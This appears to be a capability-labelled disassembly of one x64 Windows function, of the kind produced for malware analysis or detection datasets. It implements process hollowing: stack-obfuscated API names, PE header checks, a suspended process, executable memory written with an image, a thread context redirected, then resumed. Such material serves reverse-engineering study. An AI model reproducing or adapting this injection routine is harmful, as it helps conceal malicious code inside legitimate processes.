Function at 0x140019c50
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov qword [rbp - 0x58], 0xfffffffffffffffe
mov qword [rsp + 0x1f8], rbx
mov rax, qword [0x14017b250]
xor rax, rsp
mov qword [rbp + 0x98], rax
mov r12, r8
mov rsi, rdx
mov r14, rcx
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x80], rax
or ebx, 0xffffffff
mov dword [rbp - 0x5c], ebx
lea rcx, [rbp - 0x5c]
call fcn.140013110
mov r15d, eax
xor dil, dil
movzx r13d, byte [rbp + 0x110]
test r13b, r13b
je 0x140019d81
call fcn.1400155d0
mov rcx, rax
xor eax, eax
test rcx, rcx
setne al
test eax, eax
jne 0x140019ce9
mov ecx, 0x80004005
call fcn.14000f2a0
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x78], rax
movzx r9d, byte [rbp + 0x108]
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x70]
mov ecx, r15d
call fcn.14001ab90
test al, al
je 0x140019d60
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x140019d60
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov r15d, 1
mov dword [rsp + 0x20], r15d
lea r9d, [r15 + 1]
xor r8d, r8d
mov edx, 0x2000000
call fcn.140033dd0
test eax, eax
je 0x140019d60
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x60]
call fcn.140033710
movzx edi, dil
test eax, eax
cmovne edi, r15d
mov rax, qword [rbp - 0x78]
lea rdx, [rax - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140019d78
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test dil, dil
je 0x14001a1b1
mov dword [rbp + 0x44], 0x32336c65
mov word [rbp + 0x41], 0x7265
mov dword [rbp + 0x48], 0x6c6c642e
mov byte [rbp + 0x40], 0x4b
mov byte [rbp + 0x43], 0x6e
mov byte [rbp + 0x4c], 0
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x14001a1b1
mov dword [rbp + 0x6f], 0x6f436461
mov dword [rbp + 0x74], 0x74786574
mov dword [rbp + 0x68], 0x54746553
mov byte [rbp + 0x78], 0
mov word [rbp + 0x6c], 0x7268
mov byte [rbp + 0x6e], 0x65
mov byte [rbp + 0x73], 0x6e
lea rdx, [rbp + 0x68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14018aa98], rax
mov word [rbp + 0x31], 0x7365
mov word [rbp + 0x37], 0x7268
mov word [rbp + 0x34], 0x656d
mov word [rbp + 0x3a], 0x6461
mov byte [rbp + 0x39], 0x65
mov byte [rbp + 0x33], 0x75
mov byte [rbp + 0x30], 0x52
mov byte [rbp + 0x36], 0x54
mov byte [rbp + 0x3c], 0
lea rdx, [rbp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14018aaa0], rax
mov dword [rbp + 0x59], 0x636f7250
mov word [rbp + 0x53], 0x696d
mov dword [rbp + 0x5d], 0x737365
mov word [rbp + 0x56], 0x7461
mov word [rbp + 0x51], 0x7265
mov byte [rbp + 0x58], 0x65
mov byte [rbp + 0x55], 0x6e
mov byte [rbp + 0x50], 0x54
lea rdx, [rbp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14018aaa8], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x14001a0db
movsxd rdi, dword [r14 + 0x3c]
add rdi, r14
cmp dword [rdi], 0x4550
jne 0x14001a0db
lea rdx, [rbp - 0x60]
mov rcx, rsi
call fcn.1400340e0
movzx ecx, word [rdi + 4]
mov edx, 0x14c
mov eax, dword [rbp - 0x60]
cmp cx, dx
jne 0x140019eb9
test eax, eax
jne 0x14001a1b1
mov edx, 0x8664
cmp cx, dx
jne 0x140019ecc
cmp eax, 6
jne 0x14001a1b1
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp - 0x50]
call fcn.14006eac0
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
xor ebx, ebx
mov word [rbp - 0x10], bx
lea rax, [rsp + 0x68]
xor r9d, r9d
test r13b, r13b
je 0x140019f4c
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r8, r12
mov rdx, rsi
mov rcx, qword [rbp - 0x80]
call fcn.140033a50
jmp 0x140019f7e
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], ebx
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call fcn.140033950
test eax, eax
je 0x14001a0dd
mov edx, 8
xor ecx, ecx
lea r9d, [rdx - 4]
mov r8d, 0x1000
call fcn.140037400
mov r13, rax
mov qword [rbp - 0x78], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.1400346d0
mov rcx, qword [rsp + 0x68]
test eax, eax
je 0x14001a0d1
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
lea r8, [rbp - 0x68]
call fcn.140035b10
mov rdx, qword [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call fcn.140034f60
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call fcn.140037490
mov r15, rax
mov rcx, qword [rsp + 0x68]
test rax, rax
je 0x14001a0d1
mov r9d, dword [rdi + 0x54]
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, rax
call fcn.140037a10
movzx eax, word [rdi + 0x14]
mov esi, ebx
cmp bx, word [rdi + 6]
jae 0x14001a083
lea rbx, [rdi + 0x2c]
add rbx, rax
xor r13d, r13d
nop dword [rax]
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r14
mov edx, dword [rbx - 8]
add rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x68]
call fcn.140037a10
lea rbx, [rbx + 0x28]
inc esi
movzx eax, word [rdi + 6]
cmp esi, eax
jl 0x14001a050
mov r13, qword [rbp - 0x78]
xor ebx, ebx
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
lea r8, [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call fcn.140037a10
mov eax, dword [rdi + 0x28]
add rax, r15
mov qword [r13 + 0x80], rax
mov rdx, r13
mov rcx, qword [rsp + 0x70]
call qword [0x14018aa98]
mov rcx, qword [rsp + 0x70]
call qword [0x14018aaa0]
mov bl, 1
jmp 0x14001a0dd
xor edx, edx
call qword [0x14018aaa8]
jmp 0x14001a0dd
xor bl, bl
cmp qword [rsp + 0x60], 0
je 0x14001a18a
mov dword [rbp + 0x20], 0x72657355
mov dword [rbp + 0x24], 0x2e766e65
mov dword [rbp + 0x28], 0x6c6c64
mov word [rbp + 0x93], 0x6f6c
mov word [rbp + 0x85], 0x796f
mov word [rbp + 0x96], 0x6b
mov dword [rbp + 0x8b], 0x6d6e6f72
mov dword [rbp + 0x80], 0x74736544
mov dword [rbp + 0x87], 0x69766e45
mov dword [rbp + 0x8f], 0x42746e65
mov byte [rbp + 0x95], 0x63
mov byte [rbp + 0x84], 0x72
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14001a181
lea rdx, [rbp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14018aa60], rax
test rax, rax
je 0x14001a181
mov rcx, qword [rsp + 0x60]
call rax
xor edi, edi
mov qword [rsp + 0x60], rdi
jmp 0x14001a18c
xor edi, edi
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14001a19e
call fcn.140032fb0
mov qword [rbp - 0x80], rdi
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14001a1ac
call fcn.140032fb0
movzx eax, bl
jmp 0x14001a1b3
xor al, al
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.14006c1f0
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret